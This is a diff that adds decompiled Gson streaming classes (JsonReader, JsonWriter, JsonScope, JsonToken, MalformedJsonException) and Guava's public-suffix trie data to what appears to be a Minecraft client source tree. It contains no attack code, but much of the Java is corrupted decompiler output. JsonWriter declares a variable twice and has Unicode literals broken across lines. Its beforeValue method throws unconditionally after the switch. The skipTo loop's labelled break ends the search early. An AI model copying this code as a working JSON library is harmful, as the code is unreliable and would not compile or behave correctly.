+    int p = pos;
+    int l = limit;
+    for (;;) {
+      if (p == l) {
+        pos = p;
+        if (!fillBuffer(1)) {
+          break;
+        }
+        p = pos;
+        l = limit;
+      }
+      
+      int c = buffer[(p++)];
+      if (c == 10) {
+        lineNumber += 1;
+        lineStart = p;
+      }
+      else if ((c != 32) && (c != 13) && (c != 9))
+      {
+
+
+        if (c == 47) {
+          pos = p;
+          if (p == l) {
+            pos -= 1;
+            boolean charsLoaded = fillBuffer(2);
+            pos += 1;
+            if (!charsLoaded) {
+              return c;
+            }
+          }
+          
+          checkLenient();
+          char peek = buffer[pos];
+          switch (peek)
+          {
+          case '*': 
+            pos += 1;
+            if (!skipTo("*/")) {
+              throw syntaxError("Unterminated comment");
+            }
+            p = pos + 2;
+            l = limit;
+            break;
+          
+
+          case '/': 
+            pos += 1;
+            skipToEndOfLine();
+            p = pos;
+            l = limit;
+            break;
+          
+          default: 
+            return c;
+          }
+        } else if (c == 35) {
+          pos = p;
+          
+
+
+
+
+          checkLenient();
+          skipToEndOfLine();
+          p = pos;
+          l = limit;
+        } else {
+          pos = p;
+          return c;
+        }
+      } }
+    if (throwOnEof) {
+      throw new EOFException("End of input at line " + getLineNumber() + " column " + getColumnNumber());
+    }
+    
+    return -1;
+  }
+  
+  private void checkLenient() throws IOException
+  {
+    if (!lenient) {
+      throw syntaxError("Use JsonReader.setLenient(true) to accept malformed JSON");
+    }
+  }
+  
+
+
+
+  private void skipToEndOfLine()
+    throws IOException
+  {
+    while ((pos < limit) || (fillBuffer(1))) {
+      char c = buffer[(pos++)];
+      if (c == '\n') {
+        lineNumber += 1;
+        lineStart = pos;
+      } else {
+        if (c == '\r') {
+          break;
+        }
+      }
+    }
+  }
+  
+  private boolean skipTo(String toFind)
+    throws IOException
+  {
+    label104:
+    for (; (pos + toFind.length() <= limit) || (fillBuffer(toFind.length())); pos += 1)
+      if (buffer[pos] == '\n') {
+        lineNumber += 1;
+        lineStart = (pos + 1);
+      }
+      else {
+        for (int c = 0; c < toFind.length(); c++) {
+          if (buffer[(pos + c)] != toFind.charAt(c)) {
+            break label104;
+          }
+        }
+        return true;
+      }
+    return false;
+  }
+  
+  public String toString() {
+    return getClass().getSimpleName() + " at line " + getLineNumber() + " column " + getColumnNumber();
+  }
+  
+
+
+
+
+
+
+
+
+  private char readEscapeCharacter()
+    throws IOException
+  {
+    if ((pos == limit) && (!fillBuffer(1))) {
+      throw syntaxError("Unterminated escape sequence");
+    }
+    
+    char escaped = buffer[(pos++)];
+    switch (escaped) {
+    case 'u': 
+      if ((pos + 4 > limit) && (!fillBuffer(4))) {
+        throw syntaxError("Unterminated escape sequence");
+      }
+      
+      char result = '\000';
+      int i = pos; for (int end = i + 4; i < end; i++) {
+        char c = buffer[i];
+        result = (char)(result << '\004');
+        if ((c >= '0') && (c <= '9')) {
+          result = (char)(result + (c - '0'));
+        } else if ((c >= 'a') && (c <= 'f')) {
+          result = (char)(result + (c - 'a' + 10));
+        } else if ((c >= 'A') && (c <= 'F')) {
+          result = (char)(result + (c - 'A' + 10));
+        } else {
+          throw new NumberFormatException("\\u" + new String(buffer, pos, 4));
+        }
+      }
+      pos += 4;
+      return result;
+    
+    case 't': 
+      return '\t';
+    
+    case 'b': 
+      return '\b';
+    
+    case 'n': 
+      return '\n';
+    
+    case 'r': 
+      return '\r';
+    
+    case 'f': 
+      return '\f';
+    
+    case '\n': 
+      lineNumber += 1;
+      lineStart = pos;
+    }
+    
+    
+
+
+
+    return escaped;
+  }
+  
+
+
+
+  private IOException syntaxError(String message)
+    throws IOException
+  {
+    throw new MalformedJsonException(message + " at line " + getLineNumber() + " column " + getColumnNumber());
+  }
+  
+
+
+
+  private void consumeNonExecutePrefix()
+    throws IOException
+  {
+    nextNonWhitespace(true);
+    pos -= 1;
+    
+    if ((pos + NON_EXECUTE_PREFIX.length > limit) && (!fillBuffer(NON_EXECUTE_PREFIX.length))) {
+      return;
+    }
+    
+    for (int i = 0; i < NON_EXECUTE_PREFIX.length; i++) {
+      if (buffer[(pos + i)] != NON_EXECUTE_PREFIX[i]) {
+        return;
+      }
+    }
+    
+
+    pos += NON_EXECUTE_PREFIX.length;
+  }
+  
+  static {
+    JsonReaderInternalAccess.INSTANCE = new JsonReaderInternalAccess() {
+      public void promoteNameToValue(JsonReader reader) throws IOException {
+        if ((reader instanceof JsonTreeReader)) {
+          ((JsonTreeReader)reader).promoteNameToValue();
+          return;
+        }
+        int p = peeked;
+        if (p == 0) {
+          p = reader.doPeek();
+        }
+        if (p == 13) {
+          peeked = 9;
+        } else if (p == 12) {
+          peeked = 8;
+        } else if (p == 14) {
+          peeked = 10;
+        } else {
+          throw new IllegalStateException("Expected a name but was " + reader.peek() + " " + " at line " + reader.getLineNumber() + " column " + reader.getColumnNumber());
+        }
+      }
+    };
+  }
+}
diff --git a/src/minecraft/com/google/gson/stream/JsonScope.java b/src/minecraft/com/google/gson/stream/JsonScope.java
new file mode 100644
index 0000000..49cc279
--- /dev/null
+++ b/src/minecraft/com/google/gson/stream/JsonScope.java
@@ -0,0 +1,15 @@
+package com.google.gson.stream;
+
+final class JsonScope
+{
+  static final int EMPTY_ARRAY = 1;
+  static final int NONEMPTY_ARRAY = 2;
+  static final int EMPTY_OBJECT = 3;
+  static final int DANGLING_NAME = 4;
+  static final int NONEMPTY_OBJECT = 5;
+  static final int EMPTY_DOCUMENT = 6;
+  static final int NONEMPTY_DOCUMENT = 7;
+  static final int CLOSED = 8;
+  
+  JsonScope() {}
+}
diff --git a/src/minecraft/com/google/gson/stream/JsonToken.java b/src/minecraft/com/google/gson/stream/JsonToken.java
new file mode 100644
index 0000000..807722f
--- /dev/null
+++ b/src/minecraft/com/google/gson/stream/JsonToken.java
@@ -0,0 +1,8 @@
+package com.google.gson.stream;
+
+public enum JsonToken
+{
+  BEGIN_ARRAY,  END_ARRAY,  BEGIN_OBJECT,  END_OBJECT,  NAME,  STRING,  NUMBER,  BOOLEAN,  NULL,  END_DOCUMENT;
+  
+  private JsonToken() {}
+}
diff --git a/src/minecraft/com/google/gson/stream/JsonWriter.java b/src/minecraft/com/google/gson/stream/JsonWriter.java
new file mode 100644
index 0000000..6a555bd
--- /dev/null
+++ b/src/minecraft/com/google/gson/stream/JsonWriter.java
@@ -0,0 +1,633 @@
+package com.google.gson.stream;
+
+import java.io.Closeable;
+import java.io.Flushable;
+import java.io.IOException;
+import java.io.Writer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class JsonWriter
+  implements Closeable, Flushable
+{
+  private static final String[] REPLACEMENT_CHARS = new String['€'];
+  static { for (int i = 0; i <= 31; i++) {
+      REPLACEMENT_CHARS[i] = String.format("\\u%04x", new Object[] { Integer.valueOf(i) });
+    }
+    REPLACEMENT_CHARS[34] = "\\\"";
+    REPLACEMENT_CHARS[92] = "\\\\";
+    REPLACEMENT_CHARS[9] = "\\t";
+    REPLACEMENT_CHARS[8] = "\\b";
+    REPLACEMENT_CHARS[10] = "\\n";
+    REPLACEMENT_CHARS[13] = "\\r";
+    REPLACEMENT_CHARS[12] = "\\f";
+    HTML_SAFE_REPLACEMENT_CHARS = (String[])REPLACEMENT_CHARS.clone();
+    HTML_SAFE_REPLACEMENT_CHARS[60] = "\\u003c";
+    HTML_SAFE_REPLACEMENT_CHARS[62] = "\\u003e";
+    HTML_SAFE_REPLACEMENT_CHARS[38] = "\\u0026";
+    HTML_SAFE_REPLACEMENT_CHARS[61] = "\\u003d";
+    HTML_SAFE_REPLACEMENT_CHARS[39] = "\\u0027";
+  }
+  
+
+  private static final String[] HTML_SAFE_REPLACEMENT_CHARS;
+  private final Writer out;
+  private int[] stack = new int[32];
+  private int stackSize = 0;
+  
+  public JsonWriter(Writer out) { push(6);
+    
+
+
+
+
+
+
+
+
+
+
+    separator = ":";
+    
+
+
+
+
+
+
+    serializeNulls = true;
+    
+
+
+
+
+
+
+    if (out == null) {
+      throw new NullPointerException("out == null");
+    }
+    this.out = out;
+  }
+  
+
+  private String indent;
+  
+  private String separator;
+  
+  private boolean lenient;
+  
+  public final void setIndent(String indent)
+  {
+    if (indent.length() == 0) {
+      this.indent = null;
+      separator = ":";
+    } else {
+      this.indent = indent;
+      separator = ": ";
+    }
+  }
+  
+
+
+  private boolean htmlSafe;
+  
+
+  private String deferredName;
+  
+
+  private boolean serializeNulls;
+  
+
+  public final void setLenient(boolean lenient)
+  {
+    this.lenient = lenient;
+  }
+  
+
+
+  public boolean isLenient()
+  {
+    return lenient;
+  }
+  
+
+
+
+
+
+
+  public final void setHtmlSafe(boolean htmlSafe)
+  {
+    this.htmlSafe = htmlSafe;
+  }
+  
+
+
+
+  public final boolean isHtmlSafe()
+  {
+    return htmlSafe;
+  }
+  
+
+
+
+  public final void setSerializeNulls(boolean serializeNulls)
+  {
+    this.serializeNulls = serializeNulls;
+  }
+  
+
+
+
+  public final boolean getSerializeNulls()
+  {
+    return serializeNulls;
+  }
+  
+
+
+
+
+  public JsonWriter beginArray()
+    throws IOException
+  {
+    writeDeferredName();
+    return open(1, "[");
+  }
+  
+
+
+
+  public JsonWriter endArray()
+    throws IOException
+  {
+    return close(1, 2, "]");
+  }
+  
+
+
+
+
+  public JsonWriter beginObject()
+    throws IOException
+  {
+    writeDeferredName();
+    return open(3, "{");
+  }
+  
+
+
+
+  public JsonWriter endObject()
+    throws IOException
+  {
+    return close(3, 5, "}");
+  }
+  
+
+
+  private JsonWriter open(int empty, String openBracket)
+    throws IOException
+  {
+    beforeValue(true);
+    push(empty);
+    out.write(openBracket);
+    return this;
+  }
+  
+
+
+
+  private JsonWriter close(int empty, int nonempty, String closeBracket)
+    throws IOException
+  {
+    int context = peek();
+    if ((context != nonempty) && (context != empty)) {
+      throw new IllegalStateException("Nesting problem.");
+    }
+    if (deferredName != null) {
+      throw new IllegalStateException("Dangling name: " + deferredName);
+    }
+    
+    stackSize -= 1;
+    if (context == nonempty) {
+      newline();
+    }
+    out.write(closeBracket);
+    return this;
+  }
+  
+  private void push(int newTop) {
+    if (stackSize == stack.length) {
+      int[] newStack = new int[stackSize * 2];
+      System.arraycopy(stack, 0, newStack, 0, stackSize);
+      stack = newStack;
+    }
+    stack[(stackSize++)] = newTop;
+  }
+  
+
+
+  private int peek()
+  {
+    if (stackSize == 0) {
+      throw new IllegalStateException("JsonWriter is closed.");
+    }
+    return stack[(stackSize - 1)];
+  }
+  
+
+
+  private void replaceTop(int topOfStack)
+  {
+    stack[(stackSize - 1)] = topOfStack;
+  }
+  
+
+
+
+
+  public JsonWriter name(String name)
+    throws IOException
+  {
+    if (name == null) {
+      throw new NullPointerException("name == null");
+    }
+    if (deferredName != null) {
+      throw new IllegalStateException();
+    }
+    if (stackSize == 0) {
+      throw new IllegalStateException("JsonWriter is closed.");
+    }
+    deferredName = name;
+    return this;
+  }
+  
+  private void writeDeferredName() throws IOException {
+    if (deferredName != null) {
+      beforeName();
+      string(deferredName);
+      deferredName = null;
+    }
+  }
+  
+
+
+
+
+  public JsonWriter value(String value)
+    throws IOException
+  {
+    if (value == null) {
+      return nullValue();
+    }
+    writeDeferredName();
+    beforeValue(false);
+    string(value);
+    return this;
+  }
+  
+
+
+
+  public JsonWriter nullValue()
+    throws IOException
+  {
+    if (deferredName != null) {
+      if (serializeNulls) {
+        writeDeferredName();
+      } else {
+        deferredName = null;
+        return this;
+      }
+    }
+    beforeValue(false);
+    out.write("null");
+    return this;
+  }
+  
+
+
+
+  public JsonWriter value(boolean value)
+    throws IOException
+  {
+    writeDeferredName();
+    beforeValue(false);
+    out.write(value ? "true" : "false");
+    return this;
+  }
+  
+
+
+
+
+
+  public JsonWriter value(double value)
+    throws IOException
+  {
+    if ((Double.isNaN(value)) || (Double.isInfinite(value))) {
+      throw new IllegalArgumentException("Numeric values must be finite, but was " + value);
+    }
+    writeDeferredName();
+    beforeValue(false);
+    out.append(Double.toString(value));
+    return this;
+  }
+  
+
+
+
+  public JsonWriter value(long value)
+    throws IOException
+  {
+    writeDeferredName();
+    beforeValue(false);
+    out.write(Long.toString(value));
+    return this;
+  }
+  
+
+
+
+
+
+  public JsonWriter value(Number value)
+    throws IOException
+  {
+    if (value == null) {
+      return nullValue();
+    }
+    
+    writeDeferredName();
+    String string = value.toString();
+    if ((!lenient) && ((string.equals("-Infinity")) || (string.equals("Infinity")) || (string.equals("NaN"))))
+    {
+      throw new IllegalArgumentException("Numeric values must be finite, but was " + value);
+    }
+    beforeValue(false);
+    out.append(string);
+    return this;
+  }
+  
+
+
+  public void flush()
+    throws IOException
+  {
+    if (stackSize == 0) {
+      throw new IllegalStateException("JsonWriter is closed.");
+    }
+    out.flush();
+  }
+  
+
+
+
+  public void close()
+    throws IOException
+  {
+    out.close();
+    
+    int size = stackSize;
+    if ((size > 1) || ((size == 1) && (stack[(size - 1)] != 7))) {
+      throw new IOException("Incomplete document");
+    }
+    stackSize = 0;
+  }
+  
+  private void string(String value) throws IOException {
+    String[] replacements = htmlSafe ? HTML_SAFE_REPLACEMENT_CHARS : REPLACEMENT_CHARS;
+    out.write("\"");
+    int last = 0;
+    int length = value.length();
+    for (int i = 0; i < length; i++) {
+      char c = value.charAt(i);
+      String replacement;
+      if (c < '€') {
+        String replacement = replacements[c];
+        if (replacement == null)
+          continue;
+      } else { String replacement;
+        if (c == '
') {
+          replacement = "\\u2028";
+        } else { if (c != '
') continue;
+          replacement = "\\u2029";
+        }
+      }
+      
+      if (last < i) {
+        out.write(value, last, i - last);
+      }
+      out.write(replacement);
+      last = i + 1;
+    }
+    if (last < length) {
+      out.write(value, last, length - last);
+    }
+    out.write("\"");
+  }
+  
+  private void newline() throws IOException {
+    if (indent == null) {
+      return;
+    }
+    
+    out.write("\n");
+    int i = 1; for (int size = stackSize; i < size; i++) {
+      out.write(indent);
+    }
+  }
+  
+
+
+  private void beforeName()
+    throws IOException
+  {
+    int context = peek();
+    if (context == 5) {
+      out.write(44);
+    } else if (context != 3) {
+      throw new IllegalStateException("Nesting problem.");
+    }
+    newline();
+    replaceTop(4);
+  }
+  
+
+
+
+
+
+
+
+  private void beforeValue(boolean root)
+    throws IOException
+  {
+    switch (peek()) {
+    case 7: 
+      if (!lenient) {
+        throw new IllegalStateException("JSON must have only one top-level value.");
+      }
+    
+
+    case 6: 
+      if ((!lenient) && (!root)) {
+        throw new IllegalStateException("JSON must start with an array or an object.");
+      }
+      
+      replaceTop(7);
+      break;
+    
+    case 1: 
+      replaceTop(2);
+      newline();
+      break;
+    
+    case 2: 
+      out.append(',');
+      newline();
+      break;
+    
+    case 4: 
+      out.append(separator);
+      replaceTop(5);
+      break;
+    }
+    
+    throw new IllegalStateException("Nesting problem.");
+  }
+}
diff --git a/src/minecraft/com/google/gson/stream/MalformedJsonException.java b/src/minecraft/com/google/gson/stream/MalformedJsonException.java
new file mode 100644
index 0000000..0cc5292
--- /dev/null
+++ b/src/minecraft/com/google/gson/stream/MalformedJsonException.java
@@ -0,0 +1,44 @@
+package com.google.gson.stream;
+
+import java.io.IOException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class MalformedJsonException
+  extends IOException
+{
+  private static final long serialVersionUID = 1L;
+  
+  public MalformedJsonException(String msg)
+  {
+    super(msg);
+  }
+  
+  public MalformedJsonException(String msg, Throwable throwable) {
+    super(msg);
+    
+
+    initCause(throwable);
+  }
+  
+
+  public MalformedJsonException(Throwable throwable)
+  {
+    initCause(throwable);
+  }
+}
diff --git a/src/minecraft/com/google/thirdparty/publicsuffix/PublicSuffixPatterns.java b/src/minecraft/com/google/thirdparty/publicsuffix/PublicSuffixPatterns.java
new file mode 100644
index 0000000..87a65ed
--- /dev/null
+++ b/src/minecraft/com/google/thirdparty/publicsuffix/PublicSuffixPatterns.java
@@ -0,0 +1,64 @@
+package com.google.thirdparty.publicsuffix;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.collect.ImmutableMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+@Beta
+public final class PublicSuffixPatterns
+{
+  public static final ImmutableMap<String, PublicSuffixType> EXACT = TrieParser.parseTrie("a&12oa08--nx?2eyh3la2ckx--nx?32wqq1--nx?6&1f4a3abgm--nx?lbgw--nx??883xnn--nx?b!.&asnu?gro?ibnu?lim?moc?oc?sr?ten?ude?vog???c!.&b&a?m?n??c&b?g?q??ep?fn?k&s?y??ln?no?oc,sn?t&n?opsgolb,?un??s??d&neit?om??g?hskihs?i&dem?sa??jnin?k&dov?usto??l!.&c,gro?moc?ofni?rep?t&en?ni??ude?vog???m!.&ca?gro?oc?sserp?ten?vog??ahokoy?e00sf7vqn--nx??n!.&ac?cc?eman?gro?ibom?loohcs?moc?ni?o&c?fni?rp??r&d?o??s&u?w??vt?xm???p!.&bog?ca?d&em?ls??g&ni?ro??mo&c?n??oba?ten?ude??g7hyabgm--nx?ra!.&461e?6pi?iru?nru?rdda-ni?siri????q!.&eman?gro?hcs?lim?moc?ten?ude?vog???r&emac?f4a3abgm--nx??s!.&bup?dem?gro?hcs?moc?ten?ude?vog??ac??u!.&a&cinniv?emirc?i&hzhziropaz?stynniv??s&edo?sedo??tlay?vatlop??bs?cinimod?d&argovorik?o!roghzu???e&hzhziropaz?nvir?t??fi?g&l?ro??hk?i&stvinrehc?ykstynlemhk??k&c?m?s&nagul?t&enod?ul??v&iknarf-onavi?orteporp&end?ind?????l&iponret?opotsa&bes?ves??p??m&k?oc?s?yrk??n&c?d?i?osrehk?v?ylov??o&c?nvor??p&d?p?z??r&c?imotihz?k?ymotyhz??sk?t&en?l?z??ude?v&c?e&alokin?ik??i&alokym?hinrehc?krahk?vl?yk??k?l?o&g!inrehc??krahk??r??y&ikstinlemhk?mus?s&akrehc?sakrehc?tvonrehc???zu???v?waniko?x&a?iacal??yogan??b&125qhx--nx?3jca1d--nx?4&6&1rfz--nx?qif--nx??96rzc--nx??a&0dc4xbgm--nx?c?her??b!.&erots?gro?moc?ofni?ten?ude?vog?zib???cs?dhesa08--nx?g?l!.&gro?moc?ten?ude?vog???s!.&gro?moc?ten?ude?vog???u&lc?p???c&1&1q54--nx?hbgw--nx??2e9c2czf--nx?4byj9q--nx?9jr&b&2h--nx?54--nx?9s--nx??ceg--nx??a!.&gro?lim?moc?ten?ude?vog??3a09--nx??bf76a0c7ylqbgm--nx?c!.&gnipparcs,revres-emag,s&otohpym,seccaptf,??0atf7b45--nx?a1l--nx??e!.&21k?bog?dem?gro?lim?moc?nif?o&fni?rp??ten?ude?vog??beuq??l!.&gro?moc?oc?ten?ude?vog???m!.&mt?ossa???n!.ossa??s!.&gro?moc?ten?ude?vog???t!w??v!.&gro?lim?moc?ten?ude?vog???yn??d&2urzc--nx?3&1wrpk--nx?c9jrcpf--nx??5xq55--nx?75yrpk--nx?a!.mon?d??b2babgm--nx?c!.vog?g9a2g2b0ae0chclc--nx??e&r!k??sopxe?timil?w??g?i!.&ased?bew?ca?hcs?lim?o&c?g??ro?ten?ym?zib??b??liub?m?nal!raas??orp?rk?s!.&dem?gro?moc?ofni?ten?ude?v&og?t????t!.topsgolb,?za5cbgn--nx??e&17a1hbbgm--nx?2a6a1b6b1i--nx?707b0e3--nx?a!.&ca?gro?hcs?lim?oc?ten?vog???b!.&ca?topsgolb,??c&nad?rofria??d!.&edaregtmueart,keegnietsi,moc,n&esgnutiel,iemtsi,?topsgolb,zten&mitbel,sadtretteuf,??art?iug?on--nx??e!.&bil?dem?eif?gro?irp?kiir?moc?pia?ude?vog??ffoc?gg?rged??fil?g!.&gro?lim?moc?t&en?vp??ude?vog??ayov?elloc?nahcxe??i!.&topsgolb,vog???j!.&gro?oc?ten???kib?luhcs?m!.&ca?gro?oc?sti?ten?ude?v&irp?og???an!.&reh.togrof,sih.togrof,??em?w??n!goloc?oz??om?p!.&bog?gro?lim?mo&c?n??ten?ude??irg??r!.&mo&c?n??ossa?topsgolb,?eh??s!.&a?b!ibnal?rofmok??c!a??d!b?n&arb?ubroflanummok???e?f?g!ro??h!f??i!trap??k!shf??l?m!t??n!mygskurbrutan??o?p!p??r?s!serp??t!opsgolb,?u?vhf?w?x!uvmok??y?z??ael?ier?roh?uoh??t&atse?ov?utitsni??u&lb?qituob??v!.&21e?bew?gro?lim?moc?o&c?fni??ten?ude?vog???xul??f&7vqn--nx?a!.&gro?moc?ten?ude?vog???b!.vog?wa9bgm--nx??c!.topsgolb,a1p--nx??g?n!.&bew?cer?erots?m&oc?rif??ofni?re&hto?p??stra?ten???p!.&gro?moc?ude???t!w??w??g&2&4wq55--nx?8zrf6--nx??3&44sd3--nx?91w6j--nx??455ses--nx?69vqhr--nx?78a4d5a4prebgm--nx?a!.&gro?mo&c?n??oc?ten???b!.&0?1?2?3?4?5?6?7?8?9?a?b?c?d?e?f?g?h?i?j?k?l?m?n?o?p?q?r?s?t?u?v?w?x?y?z???c!za9a0cbgm--nx??e!.&eman?gro?ics?lim?moc?nue?ten?ude?vog???g!.&gro?oc?ten???k!.&gro?lim?moc?ten?ude?vog???m!.&drp?gro?lim?m&o&c?n??t??ude?vog???n!.&eman?gro?hcs?ibom?lim?moc?ten?ude?vog??aw?i!bmulp?h&sif?tolc??kooc?n&aelc?iart??re&enigne?tac??t&ad?ekram?hgil?lusnoc?ov???o??r&o!.&az,d&ab-yrev-si,e&sufnocsim,vas-si,?nuof-si,oog-yrev-si,?e&a,cin-yrev-si,las-4-ffuts,m&-morf,agevres,ohruoyslles,?nozdop,rehwongniogyldlob,t&adidnac-a-si,is&-ybboh,golb,???fehc-a-si,golbymdaer,keeg-a&-si,si,?live-yrev-si,naf&s&citlec-a-si,niurb-a-si,tap-a-si,?xos-a-si,?ojodsnd,p&ifles,ohbew,tfe&moh,vres,??resu-xunil-a-si,s&aila&nyd,snd,?bbevres,nd&emoh,golb,mood,nyd:.&emoh,og,?,rvd,tog,?sa-skcik,u,?t&e&ews-yrev-si,nretni&ehtfodne,fodne,??hgink-a-si,s&ixetn&od,seod,?o&h-emag,l-si,???x&inuemoh,unilemoh,???ubmah??s!.&gro?moc?rep?t&en?opsgolb,?ude?vog???t?u!.&c&a?s??en?gro?moc?o&c?g??ro???v!a1c--nx??wsa08--nx??h&0ee5a3ld2ckx--nx?4wc3o--nx?8a7maabgm--nx?b!.&gro?moc?ten?ude?vog???c!.topsgolb,ir?ruhc?taw??d0sbgp--nx?g!.&gro?lim?moc?ude?vog???m!a1j--nx??p!.&gro?i?lim?moc?ogn?ten?ude?vog???s!.&gro?lim?moc?ten?vog??a&c?nom??if??t!.&ca?im?ni?o&c?g??ro?ten???vo?zb??i&3tupk--nx?7a0oi--nx?a!.&ffo?gro?moc?ten??1p--nx??b!.&gro?moc?oc?ro?ude??om??c!.&ayb-tropora--nx?ca?d&e?m??esserp?gro?moc?o&c?g?ssa??ro?t&en?ni?roporéa??ude?vuog???f!.&dnala?iki,topsgolb,??g!.&d&om?tl??gro?moc?ude?vog???hcra?k!.&gro?moc?ofni?ten?ude?vog?zib??b4gc--nx?iw?uzus??l?maim?nim?s!ed??v!.&21k?gro?moc?oc?ten???wik?xarp??j&8da1tabbgl--nx?b!.&ossa?topsgolb,uaerrab?vuog???d?s?t!.&bew?c&a?in??eman?gro?lim?moc?o&c?g??t&en?ni?set??ude?vog?zib????k&ca&bdeef?lb??d!.topsgolb,?h!.&a&4ya0cu--nx?5wqmg--nx??b3qa0do--nx?d&2&2svcw--nx?3rvcl--nx??5xq55--nx??g&a0nt--nx?la0do--nx?ro??i&050qmg--nx?7a0oi--nx?xa0km--nx??m&1qtxm--nx?oc??npqic--nx?t&en?opsgolb,?ude?v&di?og?ta0cu--nx??xva0fz--nx?人&个?個?箇??司公?府政?絡&網?网??織&組?组??织&組?组??络&網?网??育&敎?教???n??l!.&bew?cos?dtl?gro?hcs?letoh?moc?nssa?ogn?prg?t&en?ni??ude?vog???m!.&eman?fni?gro?moc?ten?ude?vog???ni!l?p??p!.&b&ew?og??gro?kog?m&af?oc??nog?ofni?pog?sog?ten?ude?vog?zib???row!ten??s!.topsgolb,?t?u.oc.topsgolb,?l&a!.&gro?lim?moc?ten?ude?vog??g?ic&nanif?os??noitanretni?ti&gid?pac???c!.&bog?lim?oc?vog???e&geips?t?vart??f8f&pbgo--nx?tbgm--nx??g?i&.oc.topsgolb,a&f?me??m??lihmailliw?m!.&esserp?gro?moc?ten?ude?v&og?uog????n!.&oc,topsgolb,vb??o??o&btuf?oc??p!.&a&cin&diws?gel??d&g?ortso?urawon??i&dem?mraw?nydg??k&elo&guld?rtso??slopolam?tsu?ytsyrut??l&ip?o&kzs?w&-awolats?oksnok????nimg?rog&-ai&bab?nelej??j?z??syn?tsaim?w&a&l&eib?i?o??zsraw??onamil??z&eiwolaib?mol???c&e&iw&alselob?o&nsos?rtso???le&im?zrogz???orw?p?ri??d&em?ia?ragrats??e&c&i&lrog?w&ilg?o&hc&arats?orp??klop?tak????ldeis?yzreibok??i&csjuoniws?ksromop?saldop??l&ahdop?opo??n&apokaz?ob&6?m???tatselaer?z&romop?swozam???g&alble?ezrbo&lok?nrat??ro??hcyzrblaw?i&csomohcurein?grat?klawus??k&e&rut?walcolw??inbyr?le?o&nas?tsylaib??rob&el?lam??s&als?jazel?nadg?puls?rowezrp???l&colw?e&r?vart??i&am?m???m&o&c?dar?n?tyb??s&g?iruot??t!a???n&a&gaz?nzop??i&bul?cezczs?molow?nok?zd&eb?obeiws???uleiw?y&tzslo?z&rtek?seic????o&c,fni?gn?k&celo?zdolk??lkan?n&leim?pek?t&uk?yzczs??z&copo?eing?rowaj???rga?tua?w&ejarg?ogarm???p&elks?klwwortso?ohs??romophcaz?sos?t&aiwop?en!esu??opos?ra?sezc??ude?v&irp?og!.&ap?gu?mu?o&p?s?wtsorats??rs?w&opu?u?????w&a&l&corw?sizdow??w??o&golg?k&ark?ul?zsurp??r&az?gew??tsugua?z&coks?sezr????xes?y&buzsak?d&azczseib?ikseb??hcyt?n&jes?lod-zreimizak??pal?r&ogt?uzam??walup?zutrak??z&am-awar?c&aprak?iwol?zsogdyb??dalezc?ib?s&i&lak?p??uklo?????s!.&gro?moc?ten?ude?vog???t!.vog??x3b689qq6--nx??m&00tsb3--nx?1qtxm--nx?a!cbew?rirhs??b!.&gro?moc?ten?ude?vog???c!.vog??d!.&gro?moc?ten?ude?vog???f!i??g?h?i!.&ca?gro?moc?oc!.&clp?dtl???t&en?t??vt??k?rbg4--nx??k!.&drp?e&rianiretev?sserp??gro?lim?m&o&c?n??t??nicedem?ossa?pooc?s&eriaton?neicamrahp?sa??ude?v&og?uog????o!.&dem?gro?m&oc?uesum??o&c?rp??ten?ude?vog??c!.&a&c&-morf,irfa,?g&-morf,oy-sehcaet,?i-morf,m&-morf,all&-a-si,amai,??p&-morf,c-a-si,?s,v-morf,w-morf,z,?b&ew-sndnyd,g,?c&d-morf,n-morf,q,s-morf,?d&e&ifitrec-&si,ton-si,?llortnocduolc,?i-morf,m-morf,n&-morf,abeht-htiw-si,?s-morf,uolc&hr,smetsystuo,??e&ciffo-sndnyd,d:-morf,ocelgoog,,erf-sndnyd,i&hcet-a-si,p-sekil,?lgooghtiw,m&ina-otni-si,oh-&sndnyd,ta-sndnyd,??n&-morf,og-si,?rihcec,s:run-a-si,,t&i&nuarepo,s-ybboh,?omer-sndnyd,?v&als-elcibuc-a-si,itavresnoc-a-si,??fehc-a-si,golb&-sndnyd,sihtsetirw,?h&n-morf,o-morf,?i&h-morf,kiw-sndnyd,m-morf,r-morf,w-morf,?jn-morf,k&a-morf,cils-si,eeg-a&-si,si,?latsnaebcitsale,o-morf,row-&sndnyd,ta-sndnyd,?u,?l&a&-morf,rebil-a-si,?f-morf,i&-morf,am-sndnyd,?ru-&elpmis,taen,?ssukoreh,?mn-morf,n&a&cilbuper-a-si,f&-sllub-a-si,racsan-a-si,?i&cisum-a-si,ratrebil-a-si,??c,eerg-a-si,i-morf,m-morf,o&isam-al-a-tse,rtap-el-tse,siam-al-a-tse,?pj,t-morf,?o&c,jodsnd,m-morf,n,r,?p&i&-sndnyd,fles,ymteg,?pa&lortnocduolc,ukoreh,??r&a:-morf,tskcor-a-si,,b,e&enigne-na-si,ggolb-a-si,h&caet-a-si,pargotohp-a-si,?krow-drah-a-si,n&gised-a-si,ia&rtlanosrep-a-si,tretne-na-si,??p&acsdnal-a-si,eekkoob-a-si,?retac-a-si,tn&iap-a-si,uh-a-si,?vres-sndnyd,y&alp-a-si,wal-a-si,??g,k,o&-morf,sivdalaicnanif-a-si,tc&a-na-si,od-a-si,??p-morf,u&as-o-nyd,eugolb-nom-tse,??s&aila&nyd,snd,?bbevres,cip-sndnyd,e&lahw-eht-sevas,mag-otni-si,?ipaelgoog,k-morf,m-morf,n&d&golb,mood,tog,?ootrac-otni-si,?r&ac-otni-si,etsohmaerd,?se&l-rof-slles,rtca-na-si,?u,wanozama.&1-&etupmoc:.&1-z,2-z,?,ts&ae&-&as-&3s,etisbew-3s,?su:-etisbew-3s,,?ht&ron-pa-&3s,etisbew-3s,?uos-pa-&3s,etisbew-3s,???ew-&su-&3s,etisbew-3s,?ue-&3s,etisbew-3s,?vog-su-&3s,etisbew-3s,spif-3s,????2-ts&a